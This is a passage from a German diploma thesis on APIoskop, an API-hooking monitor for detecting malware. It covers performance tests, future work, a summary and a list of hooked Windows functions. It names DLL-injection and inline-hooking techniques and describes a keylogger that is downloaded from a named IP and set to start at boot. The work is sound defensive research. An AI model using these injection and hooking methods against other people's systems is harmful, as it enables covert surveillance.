Athlon(tm) 2600+ (2,08 GHz) - 768 MB Ram - Samsung SP2014N (IDE, 7200 rpm, 200 GB) - Microsoft Windows XP Professional, Service Pack 2 83 Kapitel 5. Resultate 5.2.1. Ladezeiten von Internetseiten Zum Messen der Ladezeiten von Internetseiten wurde der Browser Mozilla Firefox in der Version 2.0.0.6. benutzt. Dieser Browser bietet die Möglichkeit, durch modulare Erweiterungen dessen Funktionsumfang zu verändern beziehungsweise zu erweitern. Das eigentliche Messen der Zeit übernahm die Erweiterung Fasterfox in der Version 2.0.0, welche die Zeit vom Abschicken der URL bis zum vollständigen Laden der Seite auf eine Millisekunde genau misst. Bis auf diese Erweiterung war während der durchgeführten Tests keine andere Erweiterung installiert. Zudem wurde für jede Internetseite die Ladzeit dreimal gemessen und dann der Durchschnittswert ermittelt. Vor jedem Ladevorgang wurde der Cache des Browsers geleert, um die Ergebnisse nicht durch zwischengespeicherte Seiten zu beeinflussen. Der Zugang zum Internet erfolgte über eine DSL2000-Leitung. In der Tabelle 5.1 sieht man die ersten gemessenen Ladezeiten. Bei dem Messen dieser Ladezeiten wurde der Browser nicht durch APIoskop überwacht. Tabelle 5.2 dagegen zeigt die Dauer der einzelnen Ladevorgänge, während der Browser durch APIoskop überwacht wurde. In den Einstellungen von APIoskop waren bei diesem Messdurchgang alle Funktionen zur Überwachung ausgewählt, Folgeaufrufe wurden jedoch nicht mitprotokolliert. Internetseite www.t-online.de pi1.informatik.uni-mannheim.de www.sport1.de www.rz.rwth-aachen.de www.symantec.de www.tagesschau.de www.heise.de 1 21,969 1,469 6,343 1,516 4,391 5,219 3,922 Durchlauf 2 3 22,406 22,563 22,313 1,438 1,531 1,479 6,875 6,470 6,563 1,500 1,515 1,510 4,124 4,468 4,328 5,187 5,460 5,289 4,125 3,968 4,005 Tabelle 5.1.: Ladezeiten ohne APIoskop (in Sekunden) Internetseite www.t-online.de pi1.informatik.uni-mannheim.de www.sport1.de www.rz.rwth-aachen.de www.symantec.de www.tagesschau.de www.heise.de Durchlauf 1 2 3 26,531 23,625 24,797 24,984 1,812 1,719 1,930 1,820 6,703 6,735 7,630 7,023 1,766 1,719 1,610 1,698 4,716 5,002 4,811 4,843 7,066 7,234 6,809 7,036 5,750 4,547 4,672 4,990 Tabelle 5.2.: Ladezeiten bei Überwachung durch APIoskop (in Sekunden) An der jeweils letzten Spalte der beiden Tabellen erkennt man, dass die durchschnittlichen Ladezeiten durch die Überwachung per APIoskop leicht ansteigen. Im Mittel ergibt 84 5.2. Performance-Messungen sich bei den sieben Testseiten ein Anstieg der Zeit von ca. 17,7 %, wobei der Anstieg bei www.tagesschau.de mit ca. 33 % am größten ausfällt. Die einzelnen prozentualen Zunahmen der Ladezeiten (gerundet auf die zweite Nachkommastelle) sind folgende: - www.t-online.de: 11,97 % - pi1.informatik.uni-mannheim.de: 23,05 % - www.sport1.de: 7,01 % - www.rz.rwth-aachen.de: 12,45 % - www.symantec.de: 11,91 % - www.tagesschau.de: 33,05 % - www.heise.de: 24,59 % Die Unterschiede in den Ladezeiten, mit und ohne eine Überwachung per APIoskop, sind in der Abbildung 5.2 noch einmal für jede einzelne Internetseite graphisch veranschaulicht. www.t-online.de pi1.in...tik.uni-ma...im.de www.sport1.de www.rz.rwth-aachen.de www.symantec.de www.tagesschau.de www.heise.de 0 ohne APIoskop 5 10 15 20 25 mit Überwachung durch APIoskop Abbildung 5.2.: Durchschnittliche Ladezeiten mit und ohne APIoskop (in Sekunden) 5.2.2. Öffnen von Word-Dokumenten Zum Messen der Zeit, welche Microsoft Word zum Öffnen eines Word-Dokumentes benötigt, diente bei diesen Messreihen ein selbstgeschriebenes Programm. Implementiert wurde dieses ebenfalls in Delphi und bedient sich auch der TWordApplication-Komponente, welche bereits in Kapitel 4.4.3 vorgestellt wurde. Über diese Komponente wird Word 85 Kapitel 5. Resultate viermal in Folge dazu veranlasst, ein Dokument zu öffnen, und jedes Mal wird die Zeit gemessen, die dabei vergeht. Solche eine Folge wird im weiteren Verlauf dieses Kapitels Messlauf genannt. Zum Messen der Zeit wird die Methode GetTickCount jeweils vor dem Öffnen und nach dem vollständigen Laden des Dokuments aufgerufen. Diese Methode gibt die Anzahl der Millisekunden seit dem Systemstart zurück. Der Abschluss des Ladevorgangs wird durch ein Ereignis der TWordApplication-Komponente signalisiert. Die Differenz aus diesen beiden Werten entspricht dann der gesuchten Dauer in Millisekunden. Am Ende eines Messlaufs gibt das Programm dann alle vier Zeiten und einen Durchschnittswert aus. APIoskop Konfiguration 1 Durchlauf 2 3 4 (Lauf 1–3) Der Mondsüchtige.doc ohne APIoskop Konfig. A (alle Funktionen) Konfig. B (ohne Read/Open/Query) Konfig. C (ohne Registryfunktionen) 31 32 32 47 1062 1312 1279 2375 141 141 141 438 62 62 63 266 31,67 1217,67 141,00 62,33 APIoskop1000.doc ohne APIoskop Konfig. A (alle Funktionen) Konfig. B (ohne Read/Open/Query) Konfig. C (ohne Registryfunktionen) 47 47 48 78 1093 1359 1302 2359 156 156 156 469 78 79 78 312 47,33 1251,33 156,00 78,33 Tabelle 5.3.: Dauer zum Öffnen von Word-Dokumenten (in ms) In Tabelle 5.3 sind die Zeiten, welche Microsoft Word zum Öffnen zweier Dokumente benötigt, dargestellt. Das erste Dokument, Der Mondsüchtige.doc, besteht aus einem zusammenhängenden Text und umfasst 469 Wörter. Das zweite Dokument, APIoskop1000.doc, enthält 1000 mal das Wort APIoskop. Die Zeilen der Tabelle stehen für die einzelnen Messläufe, in denen die Dauer des Öffnens dieser beiden Dokumente gemessen wurde. Die ersten vier Zeilen beziehen sich auf das erstgenannte Dokument und die letzten vier Zeilen auf das zweitgenannte Dokument. In den Spalten der Tabelle sind die einzelnen Ergebnisse der Messläufe und ein Durchschnittswert aufgetragen, der sich aus den ersten drei Zeiten eines Messlaufs ergibt. Warum die vierte Zeit nicht in den Durchschnittswert eines Messlaufs einfließt, wird am Ende dieses Kapitel erläutert. Für beide Dokumente wurden jeweils vier Messläufe durchgeführt. Bei dem ersten Messlauf wurde Microsoft Word nicht durch APIoskop überwacht. Die restlichen drei Messläufe fanden mit einer Überwachung statt, bei der APIoskop jeweils anders konfiguriert wurde. Folgende Konfigurationen wurden für die Überwachungen verwendet: - Konfiguration A: Bei dieser Konfiguration wurden alle Funktionsaufrufe überwacht. Folgeaufrufe wurden jedoch nicht mitprotokolliert. - Konfiguration B: Bei dieser Konfiguration wurden Aufrufe ausgesuchter Funktionen nicht überwacht. Folgende Dateisystem- und RegistryFunktionen wurden bei der Überwachung nicht berücksichtigt: NtOpenFile, 86 5.2. Performance-Messungen NtReadFile, OpenFile, ReadFile, ReadFileEx, NtOpenKey, RegOpenKeyA/W, RegOpenKeyExA/W, RegQueryValueA/W, RegQueryValueExA/W. Folgeaufrufe wurden in dieser Konfiguration ebenfalls nicht mitprotokolliert. - Konfiguration C: Bei dieser Konfiguration wurden alle Funktionsaufrufe, bis auf die Aufrufe der Registry-Funktionen, überwacht. Folgeaufrufe wurden auch in dieser Konfiguration nicht mitprotokolliert. Wie an den gemessenen Zeiten in Tabelle 5.3 zu sehen ist, wird Microsoft Word beim Öffnen von Dokumenten durch APIoskop deutlich ausgebremst. Sobald die Aufrufe aller API-Funktionen durch APIoskop überwacht werden, verlangsamt sich Microsoft Word so stark, daß ein Unterschied in der benötigten Dauer zum Öffnen der Dokumente drastisch zu spüren ist. Werden aber Aufrufe gezielt ausgewählter Funktionen nicht überwacht, so fällt der Geschwindigkeitsverlust merklich geringer aus. Zwar verrichtet Microsoft Word bei einer Überwachung mit der Konfiguration B seine Arbeit immer noch 3 bis 4,5 mal langsamer als ohne Überwachung, aber zur Konfiguration A stellt diese Konfiguration B einen Geschwindigkeitszuwachs von über 700 % dar. Abbildung 5.3 zeigt diesen Sachverhalt in graphischer Weise. Zu beachten ist, daß die x-Achse aus Darstellungsgründen zusammengestaucht wurde. Der Mondsüchtige.doc APIoskop1000.doc 0 50 100 150 200 250 300 1250 ohne APIoskop mit APIoskop - Konfiguration A (alle Funktionen) mit APIoskop - Konfiguration B (ohne Read/Open/Query) mit APIoskop - Konfiguration C (ohne Registryfunktionen) Abbildung 5.3.: Durchschnittliche Dauer zum Öffnen von Word-Dokumenten (in ms) Dieser Geschwindigkeitszuwachs bei einer Überwachung mit der Konfiguration B resultiert in erster Linie daraus, dass bei dieser Konfiguration neun Registry-Funktionen weniger überwacht werden. Diese sind hauptsächlich für den Geschwindigkeitseinbruch von Microsoft Word verantwortlich. Noch deutlicher wird diese Erkenntnis durch die Konfiguration C. Werden die Einstellungen der Konfiguration C für die Überwachung genutzt, so beschleunigt sich die Arbeitsweise im Vergleich zur Konfiguration B um nochmals ca. 100 % (APIoskop1000.doc) beziehungsweise um ca. 125 % (Der Mondsüchtige.doc). 87 Kapitel 5. Resultate An dieser Stelle bleibt zu erwähnen, warum die gemessenen Zeiten der vierten Durchläufe jeweils nicht für die Berechnung des Durchschnittswertes eines Messlaufs berücksichtigt wurden. Die Zeiten der vierten Durchläufe sind bei allen Messläufen auffällig hoch. Selbst bei den Messläufen, bei denen keine Überwachung durch APIoskop stattfand, sind die Zeiten des vierten Durchlaufs außergewöhnlich höher als die Zeiten der ersten drei Durchläufe. Um die Performance-Messungen durch diese (vermutlich fehlerhaften) Zeiten nicht zu verfälschen, sind diese Zeiten zwar in der Tabelle 5.3 aufgelistet, fließen jedoch nicht in den Durchschnittswert ein. Nach genauer Durchsicht des (kurzen) Quellcodes des selbstgeschriebenen Zeitmessprogramms konnte dort kein Fehler gefunden werden. Wahrscheinlich liegt der Grund für diese hohen vierten Werte entweder in der Komponente TWordApplication oder in Microsoft Word selber. 5.3. Zusammenfassung Zu Beginn dieses Kapitels wurde anhand eines Beispiellaufs präsentiert, wie man mit Hilfe APIoskops eine HTML-Datei untersuchen kann. Dazu wurde in diesem Beispiel der Internet Explorer überwacht und dann mit diesem die zu untersuchende Datei geöffnet. Dabei wurde festgestellt, daß diese Datei den Internet Explorer dazu veranlasst, eine Verbindung zu einem Server im Internet mit der IP-Adresse 207.44.172.5 herzustellen und von diesem eine Datei namens a.exe herunterzuladen. Es stellte sich heraus, daß dies ein Keylogger ist, welcher eine weitere ausführbare Datei erstellt (spoolsvc.exe) und diese so in das System integriert, daß diese bei jedem Start von Windows ausgeführt wird. Das Unterkapitel 5.2 widmete sich der Performance der überwachten Programme. Zum einen wurde untersucht, in welchem Umfang sich die Performance des Browsers Mozilla Firefox bei einer Überwachung von APIoskop verschlechtert und zum anderen, welchen Einfluss diese Überwachung auf Microsoft Word hat, während dieses WordDokumente öffnet. Dabei stellte sich heraus, dass das Öffnen der Word-Dokumente bei einer gleichzeitigen Überwachung ca. dreimal soviel Zeit in Anspruch nimmt wie ohne die Überwachung. Dies ist allerdings auch nur der Fall, wenn keine Aufrufe von RegistryFunktionen überwacht werden, ansonsten fällt der Performanceverlust noch größer aus. Dagegen verlangsamt sich das Laden von Internetseiten mit dem Browser Mozilla Firefox durchschnittlich nur um ca. 17,7 %. 88 Kapitel 6. Zusammenfassung und Future Work In diesem Kapitel werden Weiterentwicklungen für APIoskop vorgestellt. Neben generellen Veränderungen werden auch zwei Ideen erläutert, deren Ziel die PerformanceVerbersserung von APIoskop ist. Anschließend folgt noch einmal eine Zusammenfassung der gesamten Diplomarbeit, in welcher die wichtigsten Punkte der einzelnen Kapitel hervorgehoben werden. 6.1. Future Work Kapitel 5.2.2 hat gezeigt, daß die Performance der überwachten Prozesse noch zu sehr unter der Überwachung durch APIoskop leidet. Als Hauptgrund für diesen Einbruch der Leistung lässt sich die Überwachung der Registry-Funktionen identifizieren, was sehr schön an Tabelle 5.3 nachzuvollziehen ist. Deshalb besteht das Hauptanliegen der Weiterentwicklung von APIoskop darin, dessen Performance zu verbessern. Um dies zu erreichen, sind folgende Maßnahmen vorstellbar: - Das Objekt, welches für die Zuordnung von Schlüsselnamen zu Keyhandles zuständig ist (siehe Kapitel 4.4.2.6), wird in das Hauptprogramm von APIoskop verlagert. Momentan befindet sich dieses Objekt noch innerhalb der HookLibrary und wird dort von den einzelnen Hook-Funktionen benutzt. Eine Verlagerung dieses Objekts würde einen Geschwindigkeitsvorteil mit sich bringen, da zu jedem Zeitpunkt jeweils nur eine einzige Hook-Funktion pro Thread abgearbeitet werden kann und somit möglichst kurze Hook-Funktionen den schnellen Aufruf weiterer API-Funktionen durch das überwachte Programm nicht behindern würden. - Das Gesamtkonzept für die Interprozesskommunikation überarbeiten. Momentan ist es so, daß die Hook-Funktionen so lange in ihrem Ablauf pausieren, bis der MMF-Thread das MMF ausgelesen hat und der Funktion Log durch ein Ereignis signalisiert, daß die von ihr eingetragenen Informationen vollständig aus dem MMF ausgelesen wurden. Eine bezüglich der Performance effektivere Lösung besteht sicherlich darin, mehrere registrierte Funktionsaufrufe gleichzeitig in einem Shared-Memory-Bereich zu hinterlegen, so daß die Funktion Log die Ablaufkontrolle schneller an die Hook-Funktionen zurückgeben kann und diese schneller abgearbeitet werden. Eine mögliche Realisierung könnte darin bestehen, ein MMF zu verwenden, welches einen Ringpuffer darstellt. 89 Kapitel 6. Zusammenfassung und Future Work Neben diesen Maßnahmen, welche auf die Performance von APIoskop und dessen überwachten Prozesse abzielen, existieren noch andere geplante Weiterentwicklungen: - Hinzufügen weiterer Hook-Funktionen, hier besonders im Bereich der ProzessFunktionen. - Implementierung eines Analyse-Moduls, welches die registrierten Funktionsaufrufe besser filtert und so Einträge in der Ausgabeliste verhindert, welche nicht unbedingt dazu beitragen, ein Programm besser analysieren zu können. Ein Beispiel für solche Einträge sind mehrere registrierte Aufrufe der Funktion ReadFile, welche unmittelbar hintereinander erfolgen. Anstatt wie momentan jeden einzelnen dieser Aufrufe anzuzeigen, ist es bestimmt sinnvoller, nur einmal den Aufruf aufzulisten und mit der Anzahl der Wiederholungen zu versehen. - Automatisiertes Überprüfen von Internetseiten beziehungsweise von HTMLDokumenten ermöglichen. Ähnlich wie es für Office-Dokumente realisiert ist, soll der Benutzer von APIoskop mehrere URLs oder HTML-Dateien angeben können, welche dann nacheinander in einem Browser geöffnet werden. Dabei wird der Browser von APIoskop überwacht, um so zu Auffälligkeiten zu entdecken, welche durch den Quelltext der ausgewählten Internetseiten beziehungsweise HTML-Dokumente verursacht werden. - Hinzufügen eines Analyse-Moduls, welches die gesammelten Daten auswertet. 6.2. Zusammenfassung Im Rahmen dieser Diplomarbeit wurde das Tool APIoskop entwickelt. Dieses ermöglicht, durch die Technik des API-Hookings, Aktivitäten anderer Programme sichtbar zu machen. Dies umfasst auch jene Aktivitäten, welche im Inneren des überwachten Programms ablaufen und dessen Benutzer normalerweise verborgen bleiben. Auf diese Weise ist es zum Beispiel mit APIoskop möglich, Zero-Day-Angriffe zu erkennen. Wird eine Anwendung Opfer eines solchen Angriffs, so wird dessen daraus resultierendes, unübliches Verhalten durch eine Überwachung per APIoskop sichtbar. Diese Diplomarbeit lieferte eine genaue Beschreibung von APIoskop und ist in sechs Kapitel gegliedert. Nach einem kurzen Einführungskapitel wurden in Kapitel Zwei die grundlegenden Begriffe aus dem Bereich der Computersicherheit vorgestellt. Dieses Kapitel startete mit einer Beschreibung von Malware. Diese ist eine Softwareart, welche eine unerwünschte und schadhafte Funktionalität besitzt. Normalerweise versucht Malware, diese schadhafte Funktionalität vor dem Benutzer eines Computersystems zu verbergen. Genau dies ist ein Ansatzpunkt von APIoskop, welches dieses bösartige Verhalten transparent machen soll. Eine üblicher Weg, wie sich Malware verbreitet, sind Schwachstellen in Anwendungen. Diese wurden ebenfalls in diesem Grundlagenkapitel erläutert. In diesem Zusammenhang wurde auch darauf eingegangen, wie Schwachstellen ausgenutzt werden können, und mit dem Buffer Overflow wurde ein Beispiel präsentiert, welches die in den letzten Jahren wohl am meisten ausgenutzte Schwachstelle darstellt. Befindet sich erstmal Malware auf einem System, so wäre es wünschenswert, diese Tatsache zu erkennen. Diesem Zweck, beziehungsweise dem Erkennen eines generellen Eindrin- 90 6.2. Zusammenfassung gens in ein System, dienen die sogenannten Intrusion Detection Systeme (IDS). Dies sind Werkzeuge, die beispielsweise einen Administrator dabei unterstützen sollen, das unerwünschte Eindringen zu erkennen. Eine Klassifizierung dieser Systeme kann danach erfolgen, wo diese ihre Daten sammeln. Zum einen existieren Host-basierte IDS, zu denen auch APIoskop zu zählen ist. Diese beziehen ihre Daten aus lokalen Informationsquellen, die sich innerhalb eines Hosts befinden, wie z. B. Log-Dateien. Und zum anderen existieren Netzwerk-basierte IDS, deren zu analysierende Daten aus mitgeschnittenem Netzwerkverkehr bestehen. Abgeschlossen wird dieses Kapitel mit einer Übersicht über Tools, welche APIoskop ähnlich sind. Dazu zählen Detours, MadCodeHook, die CWSandbox, FileMon und RegMon. Das anschließende Kapitel Drei beschäftigte sich mit Grundlagen von Windows und ist selbst in drei Unterkapitel gegliedert. Das erste davon erläuterte den Aufbau des PEDateiformats. Dieses Format besitzen alle ausführbaren Dateien von Windows. Zu diesen zählen auch ausführbare Dateien mit der Endung .exe und Programmbibliotheken, welche bei der Implementierung von APIoskop eine wichtige Rolle spielen. Die beiden für die Diplomarbeit wichtigsten Elemente des PE-Formats sind die Import Adress Table und die Export Adress Table. Nach der Erläuterung dieses Dateiformats wurden mit der Windows API und der Native API zwei Programmierschnittstellen von Windows vorgestellt, die Anwenderprogrammen die Möglichkeit bieten, systemnahe Operationen auszuführen. Dabei sind die meisten Funktionen der Windows API lediglich Wrapper um Funktionen aus der Native API. Dieses Zwei-Schichten-System wurde jedoch von Microsoft gewählt, damit Windowsprogramme eine möglichst hohe Portabilität besitzen. Dies wird dadurch erreicht, dass die Windows API in den verschiedenen Windowsversionen identisch ist und Anwenderprogramme möglichst auf deren Funktionalität zurückgreifen sollen. Diesen beiden APIs kommt im Zusammenhang mit APIoskop eine entscheidende Rolle zu, da APIoskop die Aktivitäten anderer Programme dadurch sichtbar macht, dass es deren Funktionsaufrufe dieser beiden Schnittstellen überwacht. Realisiert wird dies dadurch, dass diese Funktionsaufrufe abgefangen und auf eigene Funktionen, die sogenannten Hook-Funktionen, umgelenkt werden. Diese Technik heißt API-Hooking. Damit fremde Prozesse Zugriff auf die Hook-Funktionen haben, werden diese zusammengefasst in einer Programmbibliothek in die Prozesse injiziert. Dazu wurden drei Methoden vorgestellt: Die Registry-Methode, die Injektion mittels Windows-Hooks und die Remote-ThreadMethode. Ist die eben angesprochene Bibliothek erfolgreich injiziert worden, müssen die Hook-Funktionen noch in den Programmablauf des fremden Prozesses eingehängt werden. Auch dazu wurden in Kapitel 3.3.5 mehrere Methoden vorgestellt: Die Installation mittels Proxy-DLLs, die Modifikation der Import Adress Table, die Modifikation der Export Adress Table und das Inline Hooking, welches auch bei APIoskop Verwendung findet. Abgeschlossen wurde das dritte Kapitel mit einer völlig anderen Methode, Hooks zu installieren: Das Hooking im Kernelmodus. Mit all diesen Grundlagen ist es nun möglich, die Arbeitsweise von APIoskop zu verstehen. Diese wurde, nach einer kurzen Übersicht über die Funktionen von APIoskop, in Kapitel Vier vorgestellt. Das Gesamttool APIoskop besteht aus zwei Bestandteilen. Zum einen aus einer Bibliothek (hier HookLibrary genannt), welche die Hook-Funktionen enthält und zum anderen aus einem Hauptprogramm, über welches APIoskop bedient wird. Mithilfe dieses Hauptprogramms kann sich ein Benutzer einen Prozess zur Überwachung aussuchen oder, wenn er automatisiert Office-Dokumente untersuchen möchte, 91 Kapitel 6. Zusammenfassung und Future Work kann er diese über das Hauptprogramm auswählen. Eine weitere Aufgabe des Hauptprogramms besteht auch darin, die Bibliothek mit den Hook-Funktionen in andere Prozesse zu injizieren. In dem ersten großen Unterkapitel des Kapitels Vier wurde anschließend die Benutzeroberfläche von APIoskop vorgestellt. Dazu wurden jeweils die Fenster des Programms abgebildet und deren Elemente und die Bedienung erläutert. Diese Vorstellung begann mit dem Hauptfenster, über welches sich alle anderen Fenster und Funktionen erreichen lassen. Auf diesem Hauptfenster befindet sich auch die Ausgabeliste, in der dem Benutzer von APIoskop alle registrierten Funktionsaufrufe des überwachten Programms präsentiert werden. Die Ausgabeliste wurde, nach einer vorherigen Beschreibung des Fensters zur Prozessauswahl, genauer vorgestellt. Anschließend ging dieses Kapitel auf die Ansicht der mitgeschnittenen Daten ein, welche der typischen Ansicht eines Hex-Editors nachempfunden ist. Welche Einstellungen ein Benutzer vornehmen kann, um eine Überwachung zu konfigurieren, zeigte Kapitel 4.3.4. Das letzte Fenster der Benutzeroberfläche, welches in dem Kapitel Vier beschrieben wurde, war das Fenster zur Auswahl von Office-Dokumenten. Nach der Beschreibung der Benutzeroberfläche widmete sich das zweite große Unterkapitel des Kapitels Vier der Implementierung von APIoskop. Als erstes wurde die Interprozesskommunikation beschrieben, welche zum Übertragen der durch die HookLibrary gesammelten Informationen nötig ist. Diese wurde durch die Verwendung eines Memory Mapped Files (MMF) realisiert, in welches die HookLibrary die Informationen über einen registrierten Funktionsaufruf schreibt. Anschließend signalisiert sie dem MMF-Thread, dass dieser die Informationen auslesen kann. Hat dieser die Information komplett gelesen, so signalisiert er dies ebenfalls durch einen Event und fügt die gelesenen Daten in eine Queue ein. Daraufhin wird der Programmablauf in der HookLibrary fortgesetzt, und ein weiterer Thread überträgt die Daten aus der Queue in die Ausgabeliste. Damit durch die verschiedenen Zugriffe auf das MMF keine inkonsistenten Zustände entstehen, ist dieses durch einen Mutex geschützt. Nach einer Beschreibung des Formats der IPC-Nachrichten wurde die Funktion Log näher erläutert, welche jede Hook-Funktion aufruft, wenn Informationen über deren Aufruf an das Hauptprogramm übertragen werden sollen. Der letzte Abschnitt zur Thematik IPC beschäftigte sich mit dem Problem, der Parameterübergabe vom Hauptprogramm zur HookLibrary. Dieses stellt sich, da die HookLibrary für ihre Arbeit Angaben über die vom APIoskop-Benutzer gemachten Einstellungen benötigt. Ein weiterer wichtiger Teil der Implementierung sind die Hook-Funktionen. Wie diese in den Programmablauf des zu überwachenden Programms eingehängt werden, wurde in Kapitel 4.4.2.1 erklärt. Anhand dreier Beispiele wurde der typische Aufbau der HookFunktionen vorgestellt. Dieser lässt sich grob in zwei Teile gliedern. Der erste Teil wird ausgeführt, falls der entsprechende Funktionsaufruf geloggt werden soll, und der zweite Teil, falls dem nicht so ist. Abgeschlossen wurde das Thema der Hook-Funktionen durch die Beschreibung zweier Methoden, welche die HookLibrary verwendet, um aus den Argumenten der API-Funktionen für den APIoskop-Benutzer verständliche Informationen zu gewinnen. Das Ende von Kapitel Vier ging auf drei Komponenten von Delphi ein, die verwendet wurden, um die Fernsteuerung der Office-Anwendungen zu realisieren. 92 6.2. Zusammenfassung Die Resultate, welche sich mit APIoskop erzielen lassen, wurden im fünften Kapitel präsentiert. Dies geschah anhand eines vorgestellten Beispiellaufs und anhand durchgeführter Performance-Messungen. Für den Beispiellauf wurde der Browser Internet Explorer von Microsoft überwacht, und während dieser Überwachung öffnete dieser eine HTML-Datei. Innerhalb dieses Unterkapitels befinden sich in einer leicht abgewandelten Form etliche Einträge der Ausgabeliste, an denen man erkennen kann, welche Aktivitäten der Internet Explorer nach dem Öffnen der Datei ausführt. Dabei stellte sich heraus, dass dieser eine ausführbare Datei herunterlädt und diese zur Ausführung bringt. Von Online Malware Scannern wurde diese Datei als Keylogger identifiziert. Für die Performance-Messungen wurde zuerst betrachtet, in welchem Umfang APIoskop die Performance des Browsers Mozilla Firefox durch eine Überwachung beinflusst. Die Ladezeit einer Internetseite des Browsers verlangsamte sich durchschnittlich nur um ca. 17,7 %. Hingegen zeigte sich, dass die Performance von Microsoft Word beim Öffnen von Word-Dokumenten etwas mehr unter der Überwachung durch APIoskop leidet. Es stellte sich heraus, dass dies vor allen Dingen auf die Überwachung von RegistryFunktionen zurückzuführen ist. Wurde die Überwachung dieser Funktionen deaktiviert, so öffnete Microsoft Word die Dokumente deutlich schneller. 93 Kapitel 6. Zusammenfassung und Future Work 94 Anhang A. Gehookte Funktionen A.1. Dateisystemfunktionen - NtCreateFile (ntdll.dll): Erstellt eine neue Datei oder öffnet eine vorhandene Datei. - NtOpenFile (ntdll.dll): Öffnet eine Datei. - NtReadFile (ntdll.dll): Liest Daten aus einer Datei. - NtWriteFile (ntdll.dll): Schreibt Daten in eine Datei. - NtDeleteFile (ntdll.dll): Löscht eine Datei. - CreateFileA (kernel32.dll): Erstellt oder öffnet eine Datei oder ein Verzeichnis. Der Name des betroffenen Objekts wird als Ansistring übergeben. - CreateFileW (kernel32.dll): Erstellt oder öffnet eine Datei oder ein Verzeichnis. Der Name des betroffenen Objekts wird als Widestring (Unicode) übergeben. - OpenFile (kernel32.dll): Erstellt, löscht, öffnet oder öffnet ein weiteres Mal eine Datei. - ReadFile (kernel32.dll): Liest Daten synchron oder asynchron aus einer Datei. Gelesen wird ab der Stelle, die durch den Dateizeiger markiert ist. - ReadFileEx (kernel32.dll): Liest Daten nur asynchron aus einer Datei. Erlaubt es einer Anwendung, andere Instruktionen während des Lesens auszuführen. - WriteFile (kernel32.dll): Schreibt Daten synchron oder asynchron in eine Datei. Geschrieben wird ab der Stelle, die durch den Dateizeiger markiert ist. - WriteFileEx (kernel32.dll): Schreibt Daten nur asynchron in eine Datei. Erlaubt es einer Anwendung, andere Instruktionen während des Schreibens auszuführen. - DeleteFileA (kernel32.dll): Löscht eine existierende Datei. Der Dateiname wird als Ansistring übergeben. - DeleteFileW (kernel32.dll): Löscht eine existierende Datei. Der Dateiname wird als Widestring (Unicode) übergeben. 95 Anhang A. Gehookte Funktionen A.2. Netzwerkfunktionen - connect (wsock32.dll): Baut eine Verbindung zu einem angegebenen Socket auf. - send (wsock32.dll): Sendet Daten über einem angegebenen Socket. - recv (wsock32.dll): Empfängt Daten über einem angegebenen Socket. - gethostbyname (ws2_32.dll): Diese Funktion wird zur Namensauflösung verwendet, d. h. zu einem Hostnamen liefert sie eine Struktur zurück, die Informationen zu dem entsprechenden Host enthält, beispielsweise seine IP-Adresse. - connect (ws2_32.dll): Baut eine Verbindung zu einem angegebenen Socket auf. - send (ws2_32.dll): Sendet Daten über einem angegebenen Socket. - sendto (ws2_32.dll): Semdet Daten zu einem Zielhost, welcher als Argument übergeben wird. - recv (ws2_32.dll): Empfängt Daten über einem angegebenen Socket. - recvfrom (ws2_32.dll): Empfängt Daten und gibt über einen Ausgabeparameter die Ansenderadresse zurück. - WSAConnect (ws2_32.dll): Baut eine Verbindung zu einem angegebenen Socket auf, tauscht Informationen über die Verbindung aus und spezifiziert die benötigten QoS-Eigenschaften (Quality of Service), welche der Funktion in Form eines Zeigers übergeben werden, der auf eine Struktur mit den benötigten Informationen verweist. - WSASend (ws2_32.dll): Sendet Daten über einem angegebenen Socket. - WSARecv (ws2_32.dll): Empfängt Daten über einem angegebenen Socket. - ConnectEx (Mswsock): Baut eine Verbindung zu einem angegebenen Socket auf und ermöglicht das sofortige Senden von Daten. Diese Funktion kann nur bei verbindungsorientierten Sockets verwendet werden. A.3. Registryfunktionen - NtCreateKey (ntdll.dll): Erstellt einen neuen Registryschlüssel oder öffnet einen vorhandenen Registryschlüssel. - NtOpenKey (ntdll.dll): Öffnet einen Registryschlüssel. - NtSetValueKey (ntdll.dll): Schreibt oder erneuert den Wert eines Registryschlüssels. - NtQueryValueKey (ntdll.dll): Liest den Wert eines Registryschlüssels. - RegCreateKeyA (advapi32.dll): Erstellt einen neuen Registryschlüssel oder öffnet einen vorhandenen Registryschlüssel. Der Name des Registryschlüssels wird als Ansistring übergeben. 96 A.3. Registryfunktionen - RegCreateKeyW (advapi32.dll): Erstellt einen neuen Registryschlüssel oder öffnet einen vorhandenen Registryschlüssel. Der Name des Registryschlüssels wird als Widestring (Unicode) übergeben. - RegCreateKeyExA (advapi32.dll): Erstellt einen neuen Registryschlüssel oder öffnet einen vorhandenen Registryschlüssel. Der Name des Registryschlüssels wird als Ansistring übergeben. Bietet mehr Einstellungsmöglichkeiten als RegCreateKeyA. - RegCreateKeyExW (advapi32.dll): Erstellt einen neuen Registryschlüssel oder öffnet einen vorhandenen Registryschlüssel. Der Name des Registryschlüssels wird als Widestring (Unicode) übergeben. Bietet mehr Einstellungsmöglichkeiten als RegCreateKeyW. - RegOpenKeyA (advapi32.dll): Öffnet einen Registryschlüssel, der als Ansistring übergeben wird. - RegOpenKeyW (advapi32.dll): Öffnet einen Registryschlüssel, der als Widestring (Unicode) übergeben wird. - RegOpenKeyExA (advapi32.dll): Öffnet einen Registryschlüssel, der als Ansistring übergeben wird. Bietet mehr Einstellungsmöglichkeiten als RegOpenKeyA. - RegOpenKeyExW (advapi32.dll): Öffnet einen Registryschlüssel, der als Widestring (Unicode) übergeben wird. Bietet mehr Einstellungsmöglichkeiten als RegOpenKeyW. - RegSetValueA (advapi32.dll): Schreibt oder erneuert den Wert eines Registryschlüssels vom Typ REG_SZ. Der zu schreibende Wert wird als Ansistring übergeben. - RegSetValueW (advapi32.dll): Schreibt oder erneuert den Wert eines Registryschlüssels vom Typ REG_SZ. Der zu schreibende Wert wird als Widestring (Unicode) übergeben. - RegSetValueExA (advapi32.dll): Schreibt oder erneuert den Wert eines Registryschlüssels und legt desen Typ fest. Der zu schreibende Wert wird als Ansistring übergeben. - RegSetValueExW (advapi32.dll): Schreibt oder erneuert den Wert eines Registryschlüssels und legt desen Typ fest. Der zu schreibende Wert wird als Widestring (Unicode) übergeben. - RegQueryValueA (advapi32.dll): Liest den Wert eines Registryschlüssels. Dieser wird als Ansistring zurückgegeben. - RegQueryValueW (advapi32.dll): Liest den Wert eines Registryschlüssels. Dieser wird als Widestring (Unicode) zurückgegeben. - RegQueryValueExA (advapi32.dll): Gibt den Wert und Typ eines Registryschlüssels zuück. Der Wert wird als Ansistring zurückgegeben. - RegQueryValueExW (advapi32.dll): Gibt den Wert und Typ eines Registryschlüssels zuück. 